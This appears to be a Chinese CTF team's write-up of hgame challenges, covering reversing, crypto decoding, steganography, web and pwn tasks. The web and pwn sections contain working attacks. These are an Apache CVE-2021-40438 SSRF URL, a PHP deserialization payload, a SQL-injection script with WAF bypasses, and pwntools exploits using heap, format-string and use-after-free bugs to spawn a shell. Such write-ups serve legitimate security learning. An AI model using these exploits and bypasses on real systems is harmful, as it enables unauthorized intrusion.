0x20, 0xc1, 0xe2, 0x60, 0x14, 0x30, 0xd1, 0x51, 0xc0, 0x17] for j in range(len(t)): for i in range(256): if (((i\u0026lt;\u0026lt;4)%256+(i\u0026gt;\u0026gt;4))^0x17==t[j]): print (chr(i), end=\u0026#39;\u0026#39;) [RE]creakme By s0uthwood\nint __cdecl main(int argc, const char **argv, const char **envp) { int v3; // edx int i; // esi unsigned int v5; // edi unsigned int v6; // ebx int v7; // esi int v8; // esi _DWORD v10[17]; // [esp+Ch] [ebp-8Ch] BYREF _BYTE v11[32]; // [esp+50h] [ebp-48h] char Arglist[32]; // [esp+70h] [ebp-28h] BYREF int v13; // [esp+90h] [ebp-8h] int v14; // [esp+94h] [ebp-4h] memset(Arglist, 0, sizeof(Arglist)); sub_40103A(\u0026#34;%s\u0026#34;, (char)Arglist); strcpy((char *)v10, \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\u0026#34;); v3 = 0; v14 = 0; for ( i = 0; i \u0026lt; 32; v14 = i ) { v5 = *(_DWORD *)\u0026amp;Arglist[i]; v6 = *(_DWORD *)\u0026amp;Arglist[i + 4]; v13 = 0; v7 = 32; do { v3 += 0x12345678; v5 += v3 ^ (v3 + v6) ^ (v10[2] + 16 * v6) ^ (v10[3] + (v6 \u0026gt;\u0026gt; 5)); v6 += v3 ^ (v3 + v5) ^ (v10[0] + 16 * v5) ^ (v10[1] + (v5 \u0026gt;\u0026gt; 5)); --v7; } while ( v7 ); v8 = v14; v3 = 0; *(_DWORD *)\u0026amp;Arglist[v14] = v5; *(_DWORD *)\u0026amp;Arglist[v8 + 4] = v6; i = v8 + 8; } *(_OWORD *)v11 = *(_OWORD *)dword_402180; *(_OWORD *)\u0026amp;v11[16] = dword_402170; while ( Arglist[v3] == v11[v3] ) { if ( ++v3 \u0026gt;= 32 ) { sub_40100C(\u0026#34;right!\u0026#34;, v10[0]); return 0; } } sub_40100C(\u0026#34;wrong!\u0026#34;, v10[0]); return 0; } 那一串字符串看似和 Base64 有关，其实加密就是 TEA\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; void decrypt (uint32_t* v, uint32_t* k) { uint32_t delta=0x12345678; uint32_t v0=v[0], v1=v[1], sum=delta * 32, i; uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; for (i=0; i\u0026lt;32; i++) { v1 -= sum ^ ((v0\u0026lt;\u0026lt;4) + k0) ^ (v0 + sum) ^ ((v0\u0026gt;\u0026gt;5) + k1); v0 -= sum ^ ((v1\u0026lt;\u0026lt;4) + k2) ^ (v1 + sum) ^ ((v1\u0026gt;\u0026gt;5) + k3); sum -= delta; } v[0]=v0; v[1]=v1; } int main() { uint32_t v[]={1222194312u, 51123276u, 1391163586u, 3986482669u, 2921328102u, 3126465133u, 3482485930u, 1709241059u},k[4]={0x44434241,0x48474645,0x4c4b4a49,0x504f4e4d}; decrypt(v, k); decrypt(v + 2, k); decrypt(v + 4, k); decrypt(v + 8, k); printf(\u0026#34;%s\u0026#34;, v); return 0; } [RE]Flag Checker By s0uthwood\njeb 打开\npackage com.example.flagchecker; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.util.Base64; import android.view.View.OnClickListener; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class MainActivity extends AppCompatActivity { public static byte[] encrypt(String arg4, String arg5) throws Exception { SecretKeySpec v0 = new SecretKeySpec(arg5.getBytes(), 0, arg5.length(), \u0026#34;RC4\u0026#34;); Cipher v5 = Cipher.getInstance(\u0026#34;RC4\u0026#34;); v5.init(1, v0); return v5.doFinal(arg4.getBytes()); } @Override // android.support.v7.app.AppCompatActivity protected void onCreate(Bundle arg2) { super.onCreate(arg2); this.setContentView(0x7F09001C); // layout:activity_main ((Button)this.findViewById(0x7F070022)).setOnClickListener(new View.OnClickListener() { // id:button @Override // android.view.View$OnClickListener public void onClick(View arg4) { String v4 = ((EditText)MainActivity.this.findViewById(0x7F070036)).getText().toString(); // id:editTextTextPersonName byte[] v2 = new byte[0]; try { v2 = MainActivity.encrypt(v4, \u0026#34;carol\u0026#34;); } catch(Exception v4_1) { v4_1.printStackTrace(); } if(Base64.encodeToString(v2, 0).replace(\u0026#34;\\n\u0026#34;, \u0026#34;\u0026#34;).equals(\u0026#34;mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s=\u0026#34;)) { Toast.makeText(MainActivity.this, \u0026#34;Congratulations!!!\u0026#34;, 1).show(); return; } Toast.makeText(MainActivity.this, \u0026#34;Fail,try again.\u0026#34;, 1).show(); } }); } } RC4 + Base64\nfrom base64 import * from Crypto.Cipher import ARC4 cipher = b64decode(b\u0026#39;mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s=\u0026#39;) key = b\u0026#39;carol\u0026#39; rc4 = ARC4.new(key) rc4.decrypt(cipher) # b\u0026#39;hgame{weLC0ME_To-tHE_WORLD_oF-AnDr0|D}\u0026#39; [RE]猫头鹰是不是猫 By SSGSS\n总结一下快捷键：\nd改byte，dword，qword shift+e导出数据 y重新定义数据类型 *数组 看懂逻辑后，做个矩阵乘法求逆即可。\nint n=64; double a[66][66],b[66][66],c[66][130],f[64]; void gauss(double (*A)[130]) { for(int i=0;i\u0026lt;n;i++) { int k=i; for(int j=i+1;j\u0026lt;n;j++)if(A[j][i]\u0026gt;A[k][i])k=j; double del=A[k][i]; if(fabs(del=A[k][i])\u0026lt;eps)puts(\u0026#34;no\u0026#34;); for(int j=i;j\u0026lt;2*n;j++)swap(A[i][j],A[k][j]); for(int j=i;j\u0026lt;2*n;j++)A[i][j]/=del; for(int j=0;j\u0026lt;n;j++) if(j!=i) { del=A[j][i]; for(int k=i;k\u0026lt;2*n;k++)A[j][k]-=A[i][k]*del; } } } int main() { for(int i=0;i\u0026lt;n;i++) for(int j=0;j\u0026lt;n;j++){ a[i][j]=dword_4140[i*n+j]/10; b[i][j]=dword_8140[i*n+j]/10; } for(int i=0;i\u0026lt;n;i++) for(int j=0;j\u0026lt;n;j++) for(int k=0;k\u0026lt;n;k++)c[i][j]+=a[i][k]*b[k][j]; for(int i=0;i\u0026lt;n;i++)c[i][i+n]=1; gauss(c); for(int i=0;i\u0026lt;n;i++) for (int j=0;j\u0026lt;n;j++) f[i]+=ini[j]*c[j][i+n]; for(int i=0;i\u0026lt;n;i++) printf(\u0026#34;%c\u0026#34;,char(int(floor(f[i]+0.5)))); return 0; } [Crypto]Dancing Line [Crypto]Matryohska By NULLPointer\n下载压缩包，解压得到一个名为 Matryoshka.txt 的文件，里面的内容为 Braille（盲文）加密，使用盲文破解网站 https://unicode-table.com/cn/tools/braille/ 解密：\n此时发现解密得到的字符共有三种：-，/，和 ⠨，猜测下一层为 Morse 密码。用 . 替换 ⠨ 后使用Morse密码解密网站 https://www.bejson.com/enc/morse/ 得到：\n得到的字符串显然不是正确形式。注意到每两个字符由一个逗号间隔，而逗号的 Morse 编码为一段回文字符串 --..--。联想到题目中出现的“纸条背面”的提示，尝试将字符串倒转处理。此时逗号位置的 Morse 编码仍为 --..--。解码得到：\n发现是 Hex 编码，使用 Python 编写脚本解密得到一段 Base64 字符串：\nb =[0x46,0x66,0x42,0x75,0x66,0x45,0x46,0x6E,0x6D,0x4C,0x73,0x36,0x44,0x33,0x73,0x69,0x59,0x74,0x4C,0x36,0x58,0x32,0x70,0x34,0x69,0x4E,0x30,0x63,0x64,0x53,0x6C,0x79,0x6B,0x6D,0x39,0x72,0x51,0x4E,0x39,0x6F,0x4D,0x53,0x31,0x6A,0x6B,0x73,0x39,0x72,0x4B,0x32,0x52,0x36,0x6B,0x4C,0x38,0x68,0x6F,0x72,0x30,0x3D] flag = \u0026#34;\u0026#34; for i in b: flag += chr(i) print(flag) # \u0026#34;FfBufEFnmLs6D3siYtL6X2p4iN0cdSlykm9rQN9oMS1jks9rK2R6kL8hor0=\u0026#34; 解码 Base64 时系统报错，说明得到的只是一个 Base64 形式的字符串。题目中的 “Caesar:21; Vigenère: hgame” 提示 flag 经历了偏移量为 21 的凯撒加密和 key 为 hgame 的维吉尼亚加密，因此编写脚本尝试破解，发现最终加密算法为：flag -\u0026gt; 22位栅栏 -\u0026gt; 21位凯撒 -\u0026gt; 密钥为 hgame 的维吉尼亚，逆向解密即可：\n//Vigenère #include\u0026lt;stdio.h\u0026gt; #include\u0026lt;string.h\u0026gt; char key[105], sd[1005]; int main() { gets(key); gets(sd); int i,ptr; for(i=1;i\u0026lt;=strlen(key);i++) { if(key[i-1]\u0026gt;=65\u0026amp;\u0026amp;key[i-1]\u0026lt;=90) key[i-1]+=32; } ptr=1; for(i=1;i\u0026lt;=strlen(sd);i++) { if(sd[i-1]\u0026gt;=65\u0026amp;\u0026amp;sd[i-1]\u0026lt;=90) { if(sd[i-1]-key[ptr-1]+\u0026#39;a\u0026#39;\u0026gt;=65) { sd[i-1]=sd[i-1]-key[ptr-1]+\u0026#39;a\u0026#39;; ptr++; } else { sd[i-1]=sd[i-1]-key[ptr-1]+\u0026#39;a\u0026#39;+26; ptr++; } } else if(sd[i-1]\u0026gt;=97\u0026amp;\u0026amp;sd[i-1]\u0026lt;=122) { if(sd[i-1]-key[ptr-1]+\u0026#39;a\u0026#39;\u0026gt;=97) { sd[i-1]=sd[i-1]-key[ptr-1]+\u0026#39;a\u0026#39;; ptr++; } else { sd[i-1]=sd[i-1]-key[ptr-1]+\u0026#39;a\u0026#39;+26; ptr++; } } if(ptr\u0026gt;strlen(key)) { ptr=1; } } for(i=1;i\u0026lt;=strlen(sd);i++) { printf(\u0026#34;%c\u0026#34;,sd[i-1]); } } // \u0026#34;YzBibXZnaHl6X3swUmF6X2d4eG0wdGhrem9fMG9iMG1fdm9rY2N6dF8hcn0=\u0026#34; def deCaesar(string,move): s = \u0026#34;\u0026#34; for i in string: if ord(i) \u0026gt;= 65 and ord(i) \u0026lt;= 90: if (ord(i) - ord(\u0026#39;A\u0026#39;) - move) \u0026gt;= 0: s += chr(ord(i) - move) else: s += chr(ord(i) - move + 26) elif ord(i) \u0026gt;= 97 and ord(i) \u0026lt;= 122: if (ord(i) - ord(\u0026#39;a\u0026#39;) - move) \u0026gt;= 0: s += chr(ord(i) - move) else: s += chr(ord(i) - move + 26) else: s += i return s def deFence(string,space): s = \u0026#34;\u0026#34; if len(string) % space == 0: key = len(string) // space else: key = len(string) // space + 1 for i in range(0, key): for j in range(i, len(string), key): if j \u0026lt; len(string): s += string[j] return s import base64 temp = \u0026#34;YzBibXZnaHl6X3swUmF6X2d4eG0wdGhrem9fMG9iMG1fdm9rY2N6dF8hcn0=\u0026#34; flag = base64.b64decode(temp).decode(\u0026#34;utf-8\u0026#34;) for i in range(1,50): print(deFence(deCaesar(flag, 21), i)) # i = 22 # \u0026#34;hgame{Welc0me_t0_the_w0rld_0f_crypt0graphy!}\u0026#34; [Crypto]Easy RSA [Crypto]English Novel [Misc]这个压缩包有点麻烦 By NULLPointer\n下载题目，得到一个加密的压缩包，打开后发现提示：\n猜测第一层压缩包的密码是 6 位数字，属于弱口令，可以通过暴力破解得到压缩包口令。使用压缩包爆破工具 ARCHPR，设置口令为 6 位数字，暴力破解，得到压缩包密码为 483279。\n解压得到 flag.zip，README.md 和 password-note.txt 三个文件，其中 flag.zip 是加密的压缩包，README.md 中发现提示：\n推测给出的密码本 password-note.txt 中存在压缩包的密码，因此使用字典爆破得到口令：\n第二层压缩包解压后得到第三个加密的压缩包 flag.zip 和一个 README.md 文件。将 md 文件压缩后在 WinRAR 中查看，发现其 CRC32 值和 flag.zip 中的 README.md 文件 CRC32 值相同。于是推测这两个文件可能是同一文件，因此使用明文爆破的方式攻击。\n明文爆破时 ARCHPR 报错，说明这两个 README.md 文件是不完整的文件。使用 github 上的工具 bkcrack 进行不完整明文攻击，得到部分口令并直接分离出图片 flag.zip。\n使用 HexEditor 查看图片，发现其中有 zip 格式的开始字段 50 4B 03 04 和结束字段 50 4B 05 06。\n使用 binwalk 工具分离得到一个加密的压缩包，用 HexEditor 查看发现数据标志位和目录标志位均为 09 00，猜测使用了伪加密并将其改为 00 00，发现压缩包内文件解密，即可得到 flag。\n[Misc]好康的流量 By NULLPointer\nWireshark查看流量包，发现协议仅有 TCP 与 SMTP 两种，其中 TCP 建立通信，SMTP 用于传输文件。由题目提示可知流量包中可能含有一张图片。\n追踪 TCP 流发现一小段 Base64 编码，解密发现提示可能用到 LSB 隐写。\nTCP 流中还存在一大段 Base64 编码，Content-Type: image/png 提示这段编码即为传输的图片，使用 Base64 转图片工具 https://tool.jisuapi.com/base642pic.html 得到传输的图片。\n使用 Stegsolve 查看图片各个通道，在 Green2 通道中发现条形码，扫描得到 flag 的前半段。\n利用 Data Extract 工具检查 LSB 隐写情况，最终发现当设置 Bit Planes：Red0，Green0，Blue0，Extracted By：Column，Bit Order：LSB First 时得到 flag 后半段。\n[Misc]群青(其实是幽灵东京) By NULLPointer\n​下载题目给出的 wav 文件，放入 Audacity，查看频谱图发现信息：\n​查看文件属性，在“详细信息”一栏中发现提示：why not try try SilentEye。\n​这些信息提示可能存在 SilentEye 隐写。使用 SilentEye 中的 Encrypted 方式解密，设置密钥为 Yoasobi，得到一个新的 wav 文件。\n​文件名 S_S_T_V.wav 提示为 SSTV 隐写，使用 robot36 分析得到一张含有二维码的图片，扫描即可得到 flag。\n[IOT]饭卡的 uno By SSGSS\n用 hex2bin 转换，然后 strings 拿到 flag。\ns0uthwood: 补充一下 .hex 文件格式\n冒号 本行数据长度 本行数据在文件中的起始地址 数据类型 数据 校验码 : 1 byte 2 byte 1 byte N byte 1 byte week2 [Web]webpack-engine By SSGSS\nwebpack,看f12前端的源码即可。\n[Web]Apache! By SSGSS\nCVE-2021-40438\nhttp://httpd.summ3r.top:60010/proxy/?unix:[A*5000]|http://internal.host/flag [Web]一本单词书 By SSGSS\n下载下来源码，登录用弱类型绕，后面这个老哥自己手动实现了一个对映射的序列化再反序列化，自己写的肯定有bug\n最终的payload：{\u0026quot;sb|O:4:\\\u0026quot;Evil\\\u0026quot;:2:{s:4:\\\u0026quot;file\\\u0026quot;;s:5:\\\u0026quot;/flag\\\u0026quot;;s:4:\\\u0026quot;flag\\\u0026quot;;N;}aaa\u0026quot;:\u0026quot;2b\u0026quot;}\n[Web]Pokemon By SSGSS\nsql注入，注入点在报错界面，通过报错能查看出查询语句，同时也能测出waf掉了哪些关键字，可以通过双写绕过，为了方便，就写脚本帮我replace了。\nimport requests url = \u0026#39;http://121.43.141.153:60056/error.php?code=\u0026#39; def bypass(s): s = s.replace(\u0026#39;=\u0026#39;, \u0026#39; like \u0026#39;) s = s.replace(\u0026#39; \u0026#39;, \u0026#39;/*/**/*/\u0026#39;) s = s.replace(\u0026#39;select\u0026#39;, \u0026#39;seleselectct\u0026#39;) s = s.replace(\u0026#39;union\u0026#39;, \u0026#39;ununionion\u0026#39;) s = s.replace(\u0026#39;or\u0026#39;, \u0026#39;oorr\u0026#39;) s = s.replace(\u0026#39;and\u0026#39;, \u0026#39;anandd\u0026#39;) s = s.replace(\u0026#39;from\u0026#39;, \u0026#39;frofromm\u0026#39;) s = s.replace(\u0026#39;where\u0026#39;, \u0026#39;whwhereere\u0026#39;) return s payload = \u0026#34;404 union select 1, database()#\u0026#34; payload = \u0026#34;404 union select database(), group_concat(table_name) from information_schema.tables where table_schema=database()#\u0026#34; payload = \u0026#34;404 union select 1, group_concat(column_name) from information_schema.columns where table_name=\u0026#39;fllllllllaaaaaag\u0026#39;#\u0026#34; payload = \u0026#34;404 union select 1, flag from fllllllllaaaaaag#\u0026#34; payload = bypass(payload) print(payload) r = requests.get(url + payload) print(r.text) [Web]At0m的留言板 [Pwn]blind By triplewings\n访问 proc/self/mem 即可修改当前进程的内存， .text 段也是可修改的\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = remote(\u0026#34;chuj.top\u0026#34;, 51808) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) p.recvuntil(\u0026#34;write: \u0026#34;) libc.address = int(p.recvuntil(\u0026#39;\\n\u0026#39;)[:-1], base = 16) - libc.sym[\u0026#34;write\u0026#34;] print(hex(libc.address)) p.sendlineafter(\u0026#34;\u0026gt;\u0026gt; \u0026#34;, b\u0026#39;/proc/self/mem\\x00\u0026#39;) p.sendlineafter(\u0026#34;\u0026gt;\u0026gt; \u0026#34;, str(libc.sym[\u0026#34;__libc_start_main\u0026#34;])) payload = asm(shellcraft.sh()) payload = payload.rjust(0x300, asm(\u0026#39;nop\u0026#39;)) + b\u0026#39;\\n\u0026#39; p.sendafter(\u0026#34;\u0026gt;\u0026gt; \u0026#34;, payload) p.interactive() [Pwn]echo sever By triplewings\n堆上的格式化字符串， 打 realloc， og 填到 malloc_hook\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./echo\u0026#34;) p = remote(\u0026#34;chuj.top\u0026#34;, 52259) libc = ELF(\u0026#34;./libc-2.31.so\u0026#34;) def echo(length, content): p.sendlineafter(b\u0026#34;your content\u0026#39;s length:\u0026#34;, str(length)) p.send(content) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) echo(0x450, b\u0026#34;%3$pzz\u0026#34;) p.recvuntil(\u0026#34;\\n\u0026gt;\u0026gt; \u0026#34;) libc.address = int(p.recvuntil(\u0026#34;zz\u0026#34;)[:-2].decode(), 16) + 895550 - 0x10 - libc.sym[\u0026#34;__malloc_hook\u0026#34;] echo(0x450, b\u0026#34;%6$pzz\u0026#34;) p.recvuntil(\u0026#34;\\n\u0026gt;\u0026gt; \u0026#34;) heap_0 = int(p.recvuntil(\u0026#34;zz\u0026#34;)[:-2].decode(), 16) - 0x10 echo(0x450, b\u0026#34;%4$pzz\u0026#34;) p.recvuntil(\u0026#34;\\n\u0026gt;\u0026gt; \u0026#34;) heap_fastbins = int(p.recvuntil(\u0026#34;zz\u0026#34;)[:-2].decode(), 16) print(hex(libc.address)) print(hex(heap_0)) print(hex(heap_0 \u0026amp; 0xff)) print(hex(heap_fastbins)) echo(0x450, b\u0026#34;aaa\u0026#34;) echo(0x3e0, b\u0026#34;aaa\u0026#34;) echo(0x370, b\u0026#34;aaa\u0026#34;) echo(0x300, b\u0026#34;aaa\u0026#34;) echo(0x290, b\u0026#34;aaa\u0026#34;) echo(0x220, b\u0026#34;aaa\u0026#34;) echo(0x1b0, b\u0026#34;aaa\u0026#34;) echo(0x140, b\u0026#34;aaa\u0026#34;) echo(0xd0, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%\u0026#34; + str(heap_0 \u0026amp; 0xff).encode() + b\u0026#34;c%6$hhn\u0026#34;) echo(0x60, b\u0026#34;%\u0026#34; + str((heap_fastbins + 0xe0) \u0026amp; 0xffff).encode() + b\u0026#34;c%10$hn\u0026#34;) echo(0x60, p64(libc.sym[\u0026#34;__free_hook\u0026#34;])) echo(0, b\u0026#34;\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;%10$ln\\x00\\x00\u0026#34; + p64(0)*2 + p64(0x51)) echo(0x60, b\u0026#34;%96c%10$hhn\u0026#34; + b\u0026#34;\\x00\u0026#34;*5 + p64(0)*7 + p64(0x41)) echo(0x30, p64(0)*3 + p64(0x71) + p64(libc.sym[\u0026#34;__realloc_hook\u0026#34;] - 27)) echo(0x30, b\u0026#34;%10$ln\u0026#34;) echo(0x60, b\u0026#34;aaa\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34;) # gdb.attach(p, \u0026#34;b *$rebase(0x129F)\u0026#34;) echo(0x60, b\u0026#34;%10$ln\u0026#34; + b\u0026#34;\\x00\u0026#34;*5 + p64(0)*2 + p64(0) + p64(libc.address + 0xe6c81)) # echo(0x0, b\u0026#34;\u0026#34;) echo(0x0, b\u0026#34;aaa\u0026#34;) # %224c%4$hhn p.interactive() # 0xe6c7e execve(\u0026#34;/bin/sh\u0026#34;, r15, r12) # constraints: # [r15] == NULL || r15 == NULL # [r12] == NULL || r12 == NULL # 0xe6c81 execve(\u0026#34;/bin/sh\u0026#34;, r15, rdx) # constraints: # [r15] == NULL || r15 == NULL # [rdx] == NULL || rdx == NULL # 0xe6c84 execve(\u0026#34;/bin/sh\u0026#34;, rsi, rdx) # constraints: # [rsi] == NULL || rsi == NULL # [rdx] == NULL || rdx == NULL [Pwn]oldfashion_note By triplewings\nuaf 2.31 打 fastbins\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./note\u0026#34;) p = remote(\u0026#34;chuj.top\u0026#34;, 51445) libc = ELF(\u0026#34;./libc-2.31.so\u0026#34;) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) def menu(i): p.sendlineafter(b\u0026#34;farewell\u0026#34;, str(i)) def add(idx, size, content): menu(1) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) p.sendlineafter(b\u0026#34;size?\u0026#34;, str(size)) p.sendafter(b\u0026#34;content?\u0026#34;, content) def show(idx): menu(2) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) def free(idx): menu(3) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) for i in range(8): add(i, 0x80, b\u0026#34;aaa\u0026#34;) for i in range(7): free(7-i) free(0) show(0) libc.address = u64(p.recvuntil(b\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - 96 - 0x10 - libc.sym[\u0026#34;__malloc_hook\u0026#34;] print(hex(libc.address)) for i in range(8): add(i, 0x80, b\u0026#34;bbb\u0026#34;) for i in range(9): add(i, 0x20, b\u0026#34;ccc\u0026#34;) for i in range(8): free(8-i) free(0) free(1) for i in range(2, 9): add(i, 0x20, b\u0026#34;ddd\u0026#34;) add(1, 0x20, p64(libc.sym[\u0026#34;__free_hook\u0026#34;])) add(0, 0x20, b\u0026#34;/bin/sh\\x00\u0026#34;) add(1, 0x20, b\u0026#34;eee\u0026#34;) add(2, 0x20, p64(libc.sym[\u0026#34;system\u0026#34;])) free(0) p.interactive() [RE]xD MAZE By s0uthwood\n一维的迷宫，直接用 vscode 的小技巧转成 flag\n选中 512 个 # 和后面的一个空格，然后 CTRL+SHIFT+L 全选，换成 3，以此类推\n[RE]fakeshell By oneQuiz\n理解了题意后我们直奔验证 sudo 密码的函数，发现是以 aHappyhg4me 指向的字符串为秘钥的 RC4 加密算法，\n但是直接用 aHappyhg4me 指向的字符串解密只有乱码。\n之后我就卡住了，看了 WP 才知道原来在 c 语言中，被 __attribute__((constructor)) 分配属性的函数会先于 main() 函数被调用，IDA 将其反编译到 init 中。不过我直接看也看 init 我也看不出来什么不对劲，只是能看出它好像是调用了其他函数的指针。\n不过我们只要在 aHappyhg4me 处按下 X 查看其被交叉引用的记录，就可以较容易地发现明显这个字符串是被修改过的。\n双击 mov 指令，成功找到修改秘钥字符串的函数。\n解密得到flag。\n关于 __attribute__：\n__attribute__可用于为函数或者数据声明赋属性值。给函数分配属性的主要目的是为了让编译程序可以优化处理。分配给函数的属性位于函数原型的声明中。\n__attribute__((constructor)) 先于main()函数调用； __attribute__((destructor))在main()函数后调用。 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; static void before(void) __attribute__((constructor)); static void after(void) __attribute__((destructor)); static void before() { printf(\u0026#34;before main\\n\u0026#34;); } static void after(void) { printf(\u0026#34;after main\\n\u0026#34;); } int main() { printf(\u0026#34;main\\n\u0026#34;); return 0; } 还可以通过参数设置优先级关系：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; static void before(void) __attribute__((constructor)); static void before3(void) __attribute__((constructor(103))); static void before2(void) __attribute__((constructor(102))); static void before1(void) __attribute__((constructor(101))); static void before2() { printf(\u0026#34;before 102\\n\u0026#34;); } static void before1() { printf(\u0026#34;before 101\\n\u0026#34;); } static void before3() { printf(\u0026#34;before 103\\n\u0026#34;); } static void before() { printf(\u0026#34;before main\\n\u0026#34;); } int main() { printf(\u0026#34;main\\n\u0026#34;); return 0; } [RE]creakme2 By s0uthwood\n在加密函数里看一下汇编，发现用了 try except 来构造了一个除 0 异常，当最高位为 0 时，异或一个 0x1234567\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B1; for (i=0; i \u0026lt; num_rounds; i++) { v0 += (((v1 \u0026lt;\u0026lt; 4) ^ (v1 \u0026gt;\u0026gt; 5)) + v1) ^ (sum + key[sum \u0026amp; 3]); sum += delta; if (sum \u0026gt;\u0026gt; 31 == 0) sum ^= 0x1234567; printf(\u0026#34;%x\\n\u0026#34;, sum); v1 += (((v0 \u0026lt;\u0026lt; 4) ^ (v0 \u0026gt;\u0026gt; 5)) + v0) ^ (sum + key[(sum\u0026gt;\u0026gt;11) \u0026amp; 3]); } v[0]=v0; v[1]=v1; printf(\u0026#34;%x\\n\u0026#34;, sum); } void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], delta=0x9E3779B1, sum=0xc78e4d05; for (i=0; i \u0026lt; num_rounds; i++) { v1 -= (((v0 \u0026lt;\u0026lt; 4) ^ (v0 \u0026gt;\u0026gt; 5)) + v0) ^ (sum + key[(sum\u0026gt;\u0026gt;11) \u0026amp; 3]); if (sum \u0026gt;\u0026gt; 31 == 0) sum ^= 0x1234567; sum -= delta; printf(\u0026#34;%x\\n\u0026#34;, sum); v0 -= (((v1 \u0026lt;\u0026lt; 4) ^ (v1 \u0026gt;\u0026gt; 5)) + v1) ^ (sum + key[sum \u0026amp; 3]); } v[0]=v0; v[1]=v1; } int main() { uint32_t v[]={0x457E62CF, 0x9537896C, 0x1F7E7F72, 0xF7A073D8, 0x8E996868, 0x40AFAF99, 0xF990E34, 0x196F4086}; uint32_t const k[4]={1,2,3,4}; unsigned int r=32; decipher(r, v, k); decipher(r, v + 2, k); decipher(r, v + 4, k); decipher(r, v + 6, k); printf(\u0026#34;%s\\n\u0026#34;,v); return 0; } [RE]upx magic 0 By oneQuiz\n听说是放错附件了所以这个并没有 UPX 壳。。。\nIDA 打开搜索字符串进入验证函数：\n顺了一遍发现这个加密是单向的，然后卡住（我太笨了T-T）\n经过提醒发现可以直接用 ascii 码可见位直接爆破。\n#include \u0026lt;stdio.h\u0026gt; unsigned short ans[33]; char flag[33]; int main() { ans[0] = 36200; ans[1] = 40265; ans[2] = 10770; ans[3] = 43802; ans[4] = 52188; ans[5] = 47403; ans[6] = 11826; ans[7] = 40793; ans[8] = 56781; ans[9] = 40265; ans[10] = 43274; ans[11] = 3696; ans[12] = 62927; ans[13] = 2640; ans[14] = 23285; ans[15] = 65439; ans[16] = 40793; ans[17] = 48395; ans[18] = 22757; ans[19] = 14371; ans[20] = 48923; ans[21] = 30887; ans[22] = 43802; ans[23] = 18628; ans[24] = 43274; ans[25] = 11298; ans[26] = 40793; ans[27] = 23749; ans[28] = 24277; ans[29] = 30887; ans[30] = 9842; ans[31] = 22165; int rot = 0; unsigned short rot1 = 0; char c = 0; for (int i = 0; i \u0026lt; 32; i++) { for (flag[i] = 33; flag[i] \u0026lt; 127; flag[i]++) { c = flag[i]; rot = flag[i] \u0026lt;\u0026lt; 8; for (int j = 0; j \u0026lt; 8; j++) { if ((rot \u0026amp; 0x8000) == 0) rot *= 2; else rot = (rot * 2) ^ 0x1021; } rot1 = (unsigned __int16)rot; if (rot1 == ans[i]) { printf(\u0026#34;%c\u0026#34;, c); } } } } 直接运行就可以出 flag 